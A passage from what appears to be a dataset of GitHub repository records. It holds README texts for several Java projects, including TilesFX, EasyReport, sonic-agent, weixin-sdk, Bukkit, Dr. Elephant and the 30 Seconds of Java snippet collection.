Binary Tree from String](src/main/java/tree/ConstructBinaryTreefromString.java) (Medium) - [Find Largest Value in Each Tree Row](src/main/java/tree/FindLargestValueInEachTreeRow.java) (Medium) - [Find Bottom Left Tree Value](src/main/java/tree/FindBottomLeftTreeValue.java) (Medium) - [Maximum Level Sum of a Binary Tree](src/main/java/tree/MaximumLevelSumofABinaryTree.java) (Medium) - [Leaf-Similar Trees](src/main/java/tree/LeafSimilarTrees.java) (Easy) - [Binary Tree Tilt](src/main/java/tree/BinaryTreeTilt.java) (Easy) #### [Two Pointers](src/main/java/two_pointers) - [Four Sum](src/main/java/two_pointers/FourSum.java) (Medium) - [Longest Substring Witout Repeats](src/main/java/two_pointers/LongestSubstringWitoutRepeats.java) (Medium) - [Three Sum](src/main/java/two_pointers/ThreeSum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Trapping Rain Water](src/main/java/two_pointers/TrappingRainWater.java) (Hard) - [3Sum Closest](src/main/java/two_pointers/ThreeSumClosest.java) (Medium) - [Move Zeroes](src/main/java/two_pointers/MoveZeroes.java) (Easy) - [Remove Duplicates](src/main/java/two_pointers/RemoveDuplicates.java) (Easy) - [Remove Duplicates II](src/main/java/two_pointers/RemoveDuplicatesII.java) (Medium) - [Minimum Size Subarray Sum](src/main/java/two_pointers/MinimumSizeSubarraySum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Window Substring](src/main/java/two_pointers/MinimumWindowSubstring.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Range](src/main/java/two_pointers/SmallestRange.java) (Hard) - [Subarray Product Less Than K](src/main/java/two_pointers/SubarrayProductLessThanK.java) (Medium) - [Number of Matching Subsequences](src/main/java/two_pointers/NumberOfMatchingSubsequences.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Subarrays with K Different Integers](src/main/java/two_pointers/SubarraysWithKDifferentIntegers.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Last Substring in Lexicographical Order](src/main/java/two_pointers/LastSubstringInLexicographicalOrder.java) (Hard)
0
HanSolo/tilesfx
A JavaFX library containing tiles that can be used for dashboards.
2016-12-21T12:08:47Z
null
## TilesFX <br> A JavaFX library containing tiles for Dashboards. Donations are welcome at [Paypal](https://paypal.me/hans0l0) ## Intro The Tile is a simple JavaFX Control that comes with different skins. To get an idea on how to use the skins with their parameters you could either take a look at the [Demo file](https://github.com/HanSolo/tilesfx/blob/master/src/main/java/eu/hansolo/tilesfx/Demo.java) or check out the [TilesFX Demo](https://github.com/HanSolo/tilesfxdemo) project which also contains information on how to combine TilesFX with other libraries e.g. [Medusa](https://github.com/HanSolo/Medusa) You can also check my [blog](https://harmoniccode.blogspot.com/search/label/tilesfx) where you will find additional information about certain tiles. ## Demo To run the demo you simply can start it using the command "./gradlew Demo" on the command line in the project folder. ## Overview ![Overview](https://raw.githubusercontent.com/HanSolo/tilesfx/master/TilesFX.png) ## Credits <div>Flag icons made by <a href="https://www.flaticon.com/authors/freepik" title="Freepik">Freepik</a> from <a href="https://www.flaticon.com/" title="Flaticon">www.flaticon.com</a></div>
0
xianrendzw/EasyReport
A simple and easy to use Web Report System for java.EasyReport是一个简单易用的Web报表工具(支持Hadoop,HBase及各种关系型数据库),它的主要功能是把SQL语句查询出的行列结构转换成HTML表格(Table),并支持表格的跨行(RowSpan)与跨列(ColSpan)。同时它还支持报表Excel导出、图表显示及固定表头与左边列的功能。
2014-09-22T07:07:13Z
null
EasyReport ========== A simple and easy to use Web Report System for java EasyReport是一个简单易用的Web报表工具,它的主要功能是把SQL语句查询出的数据转换成报表页面, 同时支持表格的跨行(RowSpan)与跨列(ColSpan)配置。 同时它还支持报表Excel导出、图表显示及固定表头与左边列的功能。 欢迎加入Telegram群交流:https://t.me/+HsQVqBBXQ8s0OTVl 欢迎加入QQ群交流:(365582678)已经不再使用 * mvn -DskipTests package * mvn spring-boot:run -pl easyreport-web 然后就可以通过浏览器localhost:8080查看 ## Release(发布说明) ### what's new?(ver2.1) * 改进图表报表图表生成并增加图表生成配置 * 定时任务功能完成 * 支持大数据产品查询引擎(Hive,Presto,HBase,Drill,Impala等) * 提供REST API服务接口 * 增加报表权限控制 ### what's new?(ver2.0) * 界面交互调整,前端js代码全部重写,方便向AMD模块化转换 * 报表引擎查询支持CP30、Druid、DBCP2连接池 * JAVA部分代码重构 * 加入用户及权限管理模块 * 数据访问采用mybatis框架,方便二次开发 * 报表展现支持自定义生成模板 ## [入门手册][] ## [用户参考][] ## 捐助 您的热情,我的动力!开源是一种精神,也是一种生活... ![支付宝][] [入门手册]: https://github.com/xianrendzw/EasyReport/blob/master/docs/manual/user-guide.md [用户参考]: https://github.com/xianrendzw/EasyReport/blob/master/docs/manual/version2_0.md [支付宝]: https://raw.githubusercontent.com/xianrendzw/EasyReport/master/docs/assets/imgs/alipay-code.png
0
SonicCloudOrg/sonic-agent
🎉Agent of Sonic cloud real machine platform. Sonic云真机平台Agent端。
2021-08-16T01:58:11Z
null
<p align="center"> <img width="80px" src="https://raw.githubusercontent.com/SonicCloudOrg/sonic-server/main/logo.png"> </p> <p align="center">🎉Agent of Sonic Cloud Real Machine Platform</p> <p align="center"> <span>English |</span> <a href="https://github.com/SonicCloudOrg/sonic-agent/blob/main/README_CN.md"> 简体中文 </a> </p> <p align="center"> <a href="#"> <img src="https://img.shields.io/github/v/release/SonicCloudOrg/sonic-agent?include_prereleases"> </a> <a href="#"> <img src="https://img.shields.io/badge/platform-windows|macosx|linux-success"> </a> </p> <p align="center"> <a href="#"> <img src="https://img.shields.io/github/commit-activity/m/SonicCloudOrg/sonic-agent"> </a> <a href="#"> <img src="https://img.shields.io/github/downloads/SonicCloudOrg/sonic-agent/total"> </a> <a href="https://github.com/SonicCloudOrg/sonic-server/blob/main/LICENSE"> <img src="https://img.shields.io/github/license/SonicCloudOrg/sonic-server?color=green&label=license&logo=license&logoColor=green"> </a> </p> ### Official Website [Sonic Official Website](https://sonic-cloud.cn) ## Background #### What is sonic ? > Sonic is a platform that integrates remote control debugging and automated testing of mobile devices, and strives to > create a better use experience for global developers and test engineers. > >If you want to participate, welcome to join us! 💪 > >If you want to support, you can give me a star. ⭐ ## Deploy [Look Here!](https://sonic-cloud.cn/deploy/agent-deploy.html) ## Package [Look Here!](https://sonic-cloud.cn/contribute?tag=con-agent) ## Sponsors Thank you to all our sponsors! [<img src="https://ceshiren.com/uploads/default/original/3X/7/0/70299922296e93e2dcab223153a928c4bfb27df9.jpeg" alt="霍格沃兹测试开发学社" width="500">](https://qrcode.testing-studio.com/f?from=sonic&url=https://ceshiren.com) > [霍格沃兹测试开发学社](https://qrcode.testing-studio.com/f?from=sonic&url=https://ceshiren.com) > 是业界领先的测试开发技术高端教育品牌,隶属于[测吧(北京)科技有限公司](http://qrcode.testing-studio.com/f?from=sonic&url=https://www.testing-studio.com) > 。学院课程由一线大厂测试经理与资深测试开发专家参与研发,实战驱动。课程涵盖 web/app > 自动化测试、接口测试、性能测试、安全测试、持续集成/持续交付/DevOps,测试左移&右移、精准测试、测试平台开发、测试管理等内容,帮助测试工程师实现测试开发技术转型。通过优秀的学社制度(奖学金、内推返学费、行业竞赛等多种方式)来实现学员、学社及用人企业的三方共赢。[进入测试开发技术能力测评!](https://qrcode.testing-studio.com/f?from=sonic&url=https://ceshiren.com/t/topic/14940) ## LICENSE [License](LICENSE) - Binary files in the mini folder are from [minicap](https://github.com/openstf/minicap) license: [Apache 2.0 License](licenses/LICENSE.minicap) - sonic-android-scrcpy.jar in the plugins folder is from sonic-android-scrcpy fork from [scrcpy](https://github.com/Genymobile/scrcpy) license: [Apache 2.0 License](licenses/LICENSE.scrcpy) - sonic-appium-uiautomator2-server*.apk in the plugins folder are from sonic-appium-uiautomator2-server fork from [appium-uiautomator2-server](https://github.com/appium/appium-uiautomator2-server) license: [Apache 2.0 License](licenses/LICENSE.appium-uiautomator2-server) - sonic-go-mitmproxy in the plugins folder is from sonic-go-mitmproxy fork from [go-mitmproxy](https://github.com/lqqyt2423/go-mitmproxy) license: [MIT License](licenses/LICENSE.go-mitmproxy) - WebDriverAgent is from sonic-ios-wda fork from [WebDriverAgent](https://github.com/appium/WebDriverAgent) license: [BSD License](licenses/LICENSE.WebDriverAgent) - Poco-SDK is from sonic-sdk-poco fork from [Poco-SDK](https://github.com/AirtestProject/Poco-SDK) license: [Apache 2.0 License](licenses/LICENSE.Poco-SDK)
0
borball/weixin-sdk
微信公众平台(订阅号、服务号、企业号、小程序)、微信开放平台和微信支付 Java SDK
2015-09-25T02:43:29Z
null
# 微信公众平台(服务号、订阅号、企业号、小程序)、微信开放平台和微信支付JAVA SDK [![Build Status](https://semaphoreci.com/api/v1/projects/5b0c7b61-9b88-4b88-95fa-ea6bbd11e495/617516/badge.svg)](https://semaphoreci.com/borball/weixin-sdk) [![](https://jitpack.io/v/borball/weixin-sdk.svg)](https://jitpack.io/#borball/weixin-sdk) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/cn.com.riversoft/weixin-sdk/badge.svg)](https://maven-badges.herokuapp.com/maven-central/cn.com.riversoft/weixin-sdk) weixin-sdk 是对微信公众平台(订阅号、服务号、企业号、小程序)、微信开放平台和微信支付的JAVA版封装: - 服务号,订阅号: weixin-mp - 企业号: weixin-qydev - 开放平台: weixin-open - 支付: weixin-pay - 小程序: weixin-app [API使用指南](https://github.com/borball/weixin-sdk/wiki) [SDK DEMO](https://github.com/borball/weixin-sdk-demo) ## 如何获取 ### Maven - 服务号,订阅号: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-mp</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 企业号: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-qydev</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 开放平台: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-open</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 支付: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-pay</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 小程序: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-app</artifactId> <version>${weixin-sdk.version}</version> </dependency> 也可以直接从Maven中央仓库获取SNAPSHOT版本。 ### JitPack 或者使用:[JitPack](https://jitpack.io/#borball/weixin-sdk/),比如: <repositories> <repository> <id>jitpack.io</id> <url>https://jitpack.io</url> </repository> </repositories> <dependency> <groupId>com.github.borball.weixin-sdk</groupId> <artifactId>weixin-mp</artifactId> <version>${weixin-sdk.version}</version> </dependency>
0
Bukkit/Bukkit
The Minecraft Mod API
2011-01-02T23:47:25Z
null
Bukkit ====== A Minecraft Server API. Website: [http://bukkit.org](http://bukkit.org) Bugs/Suggestions: [http://leaky.bukkit.org](http://leaky.bukkit.org) Contributing Guidelines: [CONTRIBUTING.md](https://github.com/Bukkit/Bukkit/blob/master/CONTRIBUTING.md) Compilation ----------- We use maven to handle our dependencies. * Install [Maven 3](http://maven.apache.org/download.html) * Check out this repo and: `mvn clean install`
0
linkedin/dr-elephant
Dr. Elephant is a job and flow-level performance monitoring and tuning tool for Apache Hadoop and Apache Spark
2016-03-02T17:51:13Z
null
# Dr. Elephant [![Build Status](https://api.travis-ci.org/linkedin/dr-elephant.svg)](https://travis-ci.org/linkedin/dr-elephant/) [![Join the chat at https://gitter.im/linkedin/dr-elephant](https://badges.gitter.im/linkedin/dr-elephant.svg)](https://gitter.im/linkedin/dr-elephant?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) <a href=""><img src="images/wiki/dr-elephant-logo-150x150.png" align="left" hspace="10" vspace="6"></a> **Dr. Elephant** is a performance monitoring and tuning tool for Hadoop and Spark. It automatically gathers all the metrics, runs analysis on them, and presents them in a simple way for easy consumption. Its goal is to improve developer productivity and increase cluster efficiency by making it easier to tune the jobs. It analyzes the Hadoop and Spark jobs using a set of pluggable, configurable, rule-based heuristics that provide insights on how a job performed, and then uses the results to make suggestions about how to tune the job to make it perform more efficiently. ## Documentation For more information on Dr. Elephant, check the wiki pages [here](https://github.com/linkedin/dr-elephant/wiki). For quick setup instructions: [Click here](https://github.com/linkedin/dr-elephant/wiki/Quick-Setup-Instructions-(Must-Read)) Developer guide: [Click here](https://github.com/linkedin/dr-elephant/wiki/Developer-Guide) Administrator guide: [Click here](https://github.com/linkedin/dr-elephant/wiki/Administrator-Guide) User guide: [Click here](https://github.com/linkedin/dr-elephant/wiki/User-Guide) Engineering Blog: [Click here](https://engineering.linkedin.com/blog/2016/04/dr-elephant-open-source-self-serve-performance-tuning-hadoop-spark) ## Mailing-list & Github Issues ~~Google groups mailing list: [Click here](https://groups.google.com/forum/#!forum/dr-elephant-users)~~ (Reached upper limit! please create github issues) Github issues: [click here](https://github.com/linkedin/dr-elephant/issues) ## Meetings We have scheduled a weekly Dr. Elephant meeting for the interested developers and users to discuss future plans for Dr. Elephant. Please [click here](https://github.com/linkedin/dr-elephant/issues/209) for details. ## How to Contribute? Check this [link](https://github.com/linkedin/dr-elephant/wiki/How-to-Contribute%3F). ## License Copyright 2016 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
RodneyShag/HackerRank_solutions
317 efficient solutions to HackerRank problems
2017-02-04T06:41:49Z
null
null
0
shekhargulati/30-seconds-of-java
Curated collection of useful little Java functions that you can understand quickly
2017-12-22T11:09:40Z
null
# 30 Seconds Of Java [![Build Status](https://travis-ci.org/shekhargulati/little-java-functions.svg?branch=master)](https://travis-ci.org/shekhargulati/little-java-functions) > Curated collection of useful little Java 8 functions that you can understand quickly. ## Table of Contents ### Array <details> <summary>View contents</summary> * [`chunk`](#chunk) * [`countOccurrences`](#countoccurrences) * [`deepFlatten`](#deepflatten) * [`difference`](#difference) * [`differenceWith`](#differencewith) * [`distinctValuesOfArray`](#distinctvaluesofarray) * [`dropElements`](#dropelements) * [`dropRight`](#dropright) * [`everyNth`](#everynth) * [`filterNonUnique`](#filternonunique) * [`flatten`](#flatten) * [`flattenDepth`](#flattendepth) * [`groupBy`](#groupby) * [`head`](#head) * [`initial`](#initial) * [`initializeArrayWithRange`](#initializearraywithrange) * [`initializeArrayWithValues`](#initializearraywithvalues) * [`intersection`](#intersection) * [`isSorted`](#issorted) * [`join`](#join) * [`nthElement`](#nthelement) * [`pick`](#pick) * [`reducedFilter`](#reducedfilter) * [`remove`](#remove) * [`sample`](#sample) * [`sampleSize`](#samplesize) * [`shuffle`](#shuffle) * [`similarity`](#similarity) * [`sortedIndex`](#sortedindex) * [`symmetricDifference`](#symmetricdifference) * [`tail`](#tail) * [`take`](#take) * [`takeRight`](#takeright) * [`union`](#union) * [`without`](#without) * [`zip`](#zip) * [`zipObject`](#zipobject) </details> ### Math <details> <summary>View contents</summary> * [`average`](#average) * [`gcd`](#gcd) * [`lcm`](#lcm) * [`findNextPositivePowerOfTwo`](#findnextpositivepoweroftwo) * [`isEven`](#iseven) * [`isPowerOfTwo`](#ispoweroftwo) * [`generateRandomInt`](#generaterandomint) </details> ### String <details> <summary>View contents</summary> * [`anagrams`](#anagrams) * [`byteSize`](#bytesize) * [`capitalize`](#capitalize) * [`capitalizeEveryWord`](#capitalizeeveryword) * [`countVowels`](#countvowels) * [`escapeRegExp`](#escaperegexp) * [`fromCamelCase`](#fromcamelcase) * [`isAbsoluteURL`](#isabsoluteurl) * [`isLowerCase`](#islowercase) * [`isUpperCase`](#isuppercase) * [`isPalindrome`](#ispalindrome) * [`isNumeric`](#isnumeric) * [`mask`](#mask) * [`reverseString`](#reversestring) * [`sortCharactersInString`](#sortcharactersinstring) * [`splitLines`](#splitlines) * [`toCamelCase`](#tocamelcase) * [`toKebabCase`](#tokebabcase) * [`match`](#match) * [`toSnakeCase`](#tosnakecase) * [`truncateString`](#truncatestring) * [`words`](#words) * [`stringToIntegers`](#stringtointegers) </details> ### IO <details> <summary>View contents</summary> * [`convertInputStreamToString`](#convertinputstreamtostring) * [`readFileAsString`](#readfileasstring) * [`getCurrentWorkingDirectoryPath`](#getcurrentworkingdirectorypath) * [`tmpDirName`](#tmpdirname) </details> ### Exception <details> <summary>View contents</summary> * [`stackTraceAsString`](#stacktraceasstring) </details> ### System <details> <summary>View contents</summary> - [`osName`](#osname) - [`isDebuggerEnabled`](#isdebuggerenabled) </details> ### Class <details> <summary>View contents</summary> - [`getAllInterfaces`](#getallinterfaces) - [`IsInnerClass`](#isinnerclass) </details> ### Enum <details> <summary>View contents</summary> - [`getEnumMap`](#getenummap) </details> ## Array ### chunk Chunks an array into smaller arrays of specified size. ```java public static int[][] chunk(int[] numbers, int size) { return IntStream.iterate(0, i -> i + size) .limit((long) Math.ceil((double) numbers.length / size)) .mapToObj(cur -> Arrays.copyOfRange(numbers, cur, cur + size > numbers.length ? numbers.length : cur + size)) .toArray(int[][]::new); } ``` ### concat ```java public static <T> T[] concat(T[] first, T[] second) { return Stream.concat( Stream.of(first), Stream.of(second) ).toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, first.getClass())); } ``` ### countOccurrences Counts the occurrences of a value in an array. Use Arrays.stream().filter().count() to count total number of values that equals the specified value. ```java public static long countOccurrences(int[] numbers, int value) { return Arrays.stream(numbers) .filter(number -> number == value) .count(); } ``` ### deepFlatten Deep flattens an array. Use recursion. Use Arrays.stream().flatMapToInt() ```java public static int[] deepFlatten(Object[] input) { return Arrays.stream(input) .flatMapToInt(o -> { if (o instanceof Object[]) { return Arrays.stream(deepFlatten((Object[]) o)); } return IntStream.of((Integer) o); }).toArray(); } ``` ### difference Returns the difference between two arrays. Create a Set from b, then use Arrays.stream().filter() on a to only keep values not contained in b. ```java public static int[] difference(int[] first, int[] second) { Set<Integer> set = Arrays.stream(second).boxed().collect(Collectors.toSet()); return Arrays.stream(first) .filter(v -> !set.contains(v)) .toArray(); } ``` ### differenceWith Filters out all values from an array for which the comparator function does not return true. The comparator for int is implemented using IntBinaryOperator function. Uses Arrays.stream().filter and Arrays.stream().noneMatch() to find the appropriate values. ```java public static int[] differenceWith(int[] first, int[] second, IntBinaryOperator comparator) { return Arrays.stream(first) .filter(a -> Arrays.stream(second) .noneMatch(b -> comparator.applyAsInt(a, b) == 0) ).toArray(); } ``` ### distinctValuesOfArray Returns all the distinct values of an array. Uses Arrays.stream().distinct() to discard all duplicated values. ```java public static int[] distinctValuesOfArray(int[] elements) { return Arrays.stream(elements).distinct().toArray(); } ``` ### dropElements Removes elements in an array until the passed function returns true. Returns the remaining elements in the array. Loop through the array, using Arrays.copyOfRange() to drop the first element of the array until the returned value from the function is true. Returns the remaining elements. ```java public static int[] dropElements(int[] elements, IntPredicate condition) { while (elements.length > 0 && !condition.test(elements[0])) { elements = Arrays.copyOfRange(elements, 1, elements.length); } return elements; } ``` ### dropRight Returns a new array with n elements removed from the right. Check if n is shorter than the given array and use Array.copyOfRange() to slice it accordingly or return an empty array. ```java public static int[] dropRight(int[] elements, int n) { if (n < 0) { throw new IllegalArgumentException("n is less than 0"); } return n < elements.length ? Arrays.copyOfRange(elements, 0, elements.length - n) : new int[0]; } ``` ### everyNth Returns every nth element in an array. Use IntStream.range().filter() to create a new array that contains every nth element of a given array. ```java public static int[] everyNth(int[] elements, int nth) { return IntStream.range(0, elements.length) .filter(i -> i % nth == nth - 1) .map(i -> elements[i]) .toArray(); } ``` ### indexOf Find index of element in the array. Return -1 in case element does not exist. Uses IntStream.range().filter() to find index of the element in the array. ```java public static int indexOf(int[] elements, int el) { return IntStream.range(0, elements.length) .filter(idx -> elements[idx] == el) .findFirst() .orElse(-1); } ``` ### lastIndexOf Find last index of element in the array. Return -1 in case element does not exist. Uses IntStream.iterate().limit().filter() to find index of the element in the array. ```java public static int lastIndexOf(int[] elements, int el) { return IntStream.iterate(elements.length - 1, i -> i - 1) .limit(elements.length) .filter(idx -> elements[idx] == el) .findFirst() .orElse(-1); } ``` ### filterNonUnique Filters out the non-unique values in an array. Use Arrays.stream().filter() for an array containing only the unique values. ```java public static int[] filterNonUnique(int[] elements) { return Arrays.stream(elements) .filter(el -> indexOf(elements, el) == lastIndexOf(elements, el)) .toArray(); } ``` ### flatten Flattens an array. Use Arrays.stream().flatMapToInt().toArray() to create a new array. ```java public static int[] flatten(Object[] elements) { return Arrays.stream(elements) .flatMapToInt(el -> el instanceof int[] ? Arrays.stream((int[]) el) : IntStream.of((int) el) ).toArray(); } ``` ### flattenDepth Flattens an array up to the specified depth. ```java public static Object[] flattenDepth(Object[] elements, int depth) { if (depth == 0) { return elements; } return Arrays.stream(elements) .flatMap(el -> el instanceof Object[] ? Arrays.stream(flattenDepth((Object[]) el, depth - 1)) : Arrays.stream(new Object[]{el}) ).toArray(); } ``` ### groupBy Groups the elements of an array based on the given function. Uses Arrays.stream().collect(Collectors.groupingBy()) to group based on the grouping function. ```java public static <T, R> Map<R, List<T>> groupBy(T[] elements, Function<T, R> func) { return Arrays.stream(elements).collect(Collectors.groupingBy(func)); } ``` ### initial Returns all the elements of an array except the last one. Use Arrays.copyOfRange() to return all except the last one ```java public static <T> T[] initial(T[] elements) { return Arrays.copyOfRange(elements, 0, elements.length - 1); } ``` ### initializeArrayWithRange Initializes an array containing the numbers in the specified range where start and end are inclusive. ```java public static int[] initializeArrayWithRange(int end, int start) { return IntStream.rangeClosed(start, end).toArray(); } ``` ### initializeArrayWithValues Initializes and fills an array with the specified values. ```java public static int[] initializeArrayWithValues(int n, int value) { return IntStream.generate(() -> value).limit(n).toArray(); } ``` ### intersection Returns a list of elements that exist in both arrays. Create a Set from second, then use Arrays.stream().filter() on a to only keep values contained in b. ```java public static int[] intersection(int[] first, int[] second) { Set<Integer> set = Arrays.stream(second).boxed().collect(Collectors.toSet()); return Arrays.stream(first) .filter(set::contains) .toArray(); } ``` ### isSorted Returns `1` if the array is sorted in ascending order, `-1` if it is sorted in descending order or `0` if it is not sorted. Calculate the ordering `direction` for the first two elements.Use for loop to iterate over array items and compare them in pairs. Return `0` if the `direction` changes or the `direction` if the last element is reached. ```java public static <T extends Comparable<? super T>> int isSorted(T[] arr) { final int direction = arr[0].compareTo(arr[1]) < 0 ? 1 : -1; for (int i = 0; i < arr.length; i++) { T val = arr[i]; if (i == arr.length - 1) return direction; else if ((val.compareTo(arr[i + 1]) * direction > 0)) return 0; } return direction; } ``` ### join Joins all elements of an array into a string and returns this string. Uses a separator and an end separator. Use IntStream.range to zip index with the array item. Then, use `Stream.reduce` to combine elements into a string. ```java public static <T> String join(T[] arr, String separator, String end) { return IntStream.range(0, arr.length) .mapToObj(i -> new SimpleEntry<>(i, arr[i])) .reduce("", (acc, val) -> val.getKey() == arr.length - 2 ? acc + val.getValue() + end : val.getKey() == arr.length - 1 ? acc + val.getValue() : acc + val.getValue() + separator, (fst, snd) -> fst); } ``` ### nthElement Returns the nth element of an array. Use `Arrays.copyOfRange()` to get an array containing the nth element at the first place. ```Java public static <T> T nthElement(T[] arr, int n) { if (n > 0) { return Arrays.copyOfRange(arr, n, arr.length)[0]; } return Arrays.copyOfRange(arr, arr.length + n, arr.length)[0]; } ``` ### pick Picks the key-value pairs corresponding to the given keys from an object. Use `Arrays.stream` to filter all the keys that are present in the `arr`. Then, convert all the keys present into a Map using `Collectors.toMap`. ```java public static <T, R> Map<T, R> pick(Map<T, R> obj, T[] arr) { return Arrays.stream(arr) .filter(obj::containsKey) .collect(Collectors.toMap(k -> k, obj::get)); } ``` ### reducedFilter Filter an array of objects based on a condition while also filtering out unspecified keys. Use `Arrays.stream().filter()` to filter the array based on the predicate `fn` so that it returns the objects for which the condition is true. For each filtered Map object, create a new Map with keys present in the `keys`. Finally, collect all the Map object into an array. ```java public static Map<String, Object>[] reducedFilter(Map<String, Object>[] data, String[] keys, Predicate<Map<String, Object>> fn) { return Arrays.stream(data) .filter(fn) .map(el -> Arrays.stream(keys).filter(el::containsKey) .collect(Collectors.toMap(Function.identity(), el::get))) .toArray((IntFunction<Map<String, Object>[]>) Map[]::new); } ``` ### sample Returns a random element from an array. Use `Math.random()` to generate a random number, multiply it by `length` and round it of to the nearest whole number using `Math.floor()`. This method also works with strings. ```java public static <T> T sample(T[] arr) { return arr[(int) Math.floor(Math.random() * arr.length)]; } ``` ### sampleSize Gets `n` random elements at unique keys from `array` up to the size of `array`. Shuffle the array using the [Fisher-Yates algorithm](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle). Use `Array.copyOfRange()` to get the first `n` elements. ```java public static <T> T[] sampleSize(T[] input, int n) { T[] arr = Arrays.copyOf(input, input.length); int length = arr.length; int m = length; while (m > 0) { int i = (int) Math.floor(Math.random() * m--); T tmp = arr[i]; arr[i] = arr[m]; arr[m] = tmp; } return Arrays.copyOfRange(arr, 0, n > length ? length : n); } ``` ### shuffle Randomizes the order of the values of an array, returning a new array. Uses the [Fisher-Yates algorithm](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle) to reorder the elements of the array. ```java public static <T> T[] shuffle(T[] input) { T[] arr = Arrays.copyOf(input, input.length); int length = arr.length; int m = length; while (m > 0) { int i = (int) Math.floor(Math.random() * m--); T tmp = arr[i]; arr[i] = arr[m]; arr[m] = tmp; } return arr; } ``` ### similarity Returns an array of elements that appear in both arrays. Use `Arrays.stream().filter()` to remove values that are not part of `second`, determined using `Arrays.stream().anyMatch()`. ```java public static <T> T[] similarity(T[] first, T[] second) { return Arrays.stream(first) .filter(a -> Arrays.stream(second).anyMatch(b -> Objects.equals(a, b))) // Make a new array of first's runtime type, but empty content: .toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, first.getClass())); } ``` ### sortedIndex Returns the lowest index at which value should be inserted into array in order to maintain its sort order. Check if the array is sorted in descending order (loosely). Use `IntStream.range().filter()` to find the appropriate index where the element should be inserted. ```java public static <T extends Comparable<? super T>> int sortedIndex(T[] arr, T el) { boolean isDescending = arr[0].compareTo(arr[arr.length - 1]) > 0; return IntStream.range(0, arr.length) .filter(i -> isDescending ? el.compareTo(arr[i]) >= 0 : el.compareTo(arr[i]) <= 0) .findFirst() .orElse(arr.length); } ``` ### symmetricDifference Returns the symmetric difference between two arrays. Create a `Set` from each array, then use `Arrays.stream().filter()` on each of them to only keep values not contained in the other. Finally, concatenate both arrays and create a new array and return it. ```java public static <T> T[] symmetricDifference(T[] first, T[] second) { Set<T> sA = new HashSet<>(Arrays.asList(first)); Set<T> sB = new HashSet<>(Arrays.asList(second)); return Stream.concat( Arrays.stream(first).filter(a -> !sB.contains(a)), Arrays.stream(second).filter(b -> !sA.contains(b)) ).toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, first.getClass())); } ``` ### tail Returns all elements in an array except for the first one. Return `Arrays.copyOfRange(1)` if the array's `length` is more than `1`, otherwise, return the whole array. ```java public static <T> T[] tail(T[] arr) { return arr.length > 1 ? Arrays.copyOfRange(arr, 1, arr.length) : arr; } ``` ### take Returns an array with n elements removed from the beginning. ```java public static <T> T[] take(T[] arr, int n) { return Arrays.copyOfRange(arr, 0, n); } ``` ### takeRight Returns an array with n elements removed from the end. Use `Arrays.copyOfRange()` to create a slice of the array with `n` elements taken from the end. ```java public static <T> T[] takeRight(T[] arr, int n) { return Arrays.copyOfRange(arr, arr.length - n, arr.length); } ``` ### union Returns every element that exists in any of the two arrays once. Create a `Set` with all values of `a` and `b` and convert to an array. ```Java public static <T> T[] union(T[] first, T[] second) { Set<T> set = new HashSet<>(Arrays.asList(first)); set.addAll(Arrays.asList(second)); return set.toArray((T[]) Arrays.copyOf(new Object[0], 0, first.getClass())); } ``` ### without Filters out the elements of an array, that have one of the specified values. Use `Arrays.strean().filter()` to create an array excluding(using `!Arrays.asList(elements).contains()`) all given values. ```java public static <T> T[] without(T[] arr, T... elements) { List<T> excludeElements = Arrays.asList(elements); return Arrays.stream(arr) .filter(el -> !excludeElements.contains(el)) .toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, arr.getClass())); } ``` ### zip Creates an array of elements, grouped based on the position in the original arrays. ```java public static List<Object[]> zip(Object[]... arrays) { OptionalInt max = Arrays.stream(arrays).mapToInt(arr -> arr.length).max(); return IntStream.range(0, max.getAsInt()) .mapToObj(i -> Arrays.stream(arrays) .map(arr -> i < arr.length ? arr[i] : null) .toArray()) .collect(Collectors.toList()); } ``` ### zipObject Given an array of valid property identifiers and an array of values, return an object associating the properties to the values. ```java public static Map<String, Object> zipObject(String[] props, Object[] values) { return IntStream.range(0, props.length) .mapToObj(i -> new SimpleEntry<>(props[i], i < values.length ? values[i] : null)) .collect( HashMap::new, (m, v) -> m.put(v.getKey(), v.getValue()), HashMap::putAll); } ``` ## Maths ### average Returns the average of an of two or more numbers. ```java public static double average(int[] arr) { return IntStream.of(arr) .average() .orElseThrow(() -> new IllegalArgumentException("Array is empty")); } ``` ### gcd Calculates the greatest common denominator (gcd) of an array of numbers. Use Arrays.stream().reduce() and the gcd formula (uses recursion) to calculate the greatest common denominator of an array of numbers. ```java public static OptionalInt gcd(int[] numbers) { return Arrays.stream(numbers) .reduce((a, b) -> gcd(a, b)); } private static int gcd(int a, int b) { if (b == 0) { return a; } return gcd(b, a % b); } ``` ### lcm Calculates the lowest common multiple (lcm) of an array of numbers. Use Arrays.stream().reduce() and the lcm formula (uses recursion) to calculate the lowest common multiple of an array of numbers. ```java public static OptionalInt lcm(int[] numbers) { IntBinaryOperator lcm = (x, y) -> (x * y) / gcd(x, y); return Arrays.stream(numbers) 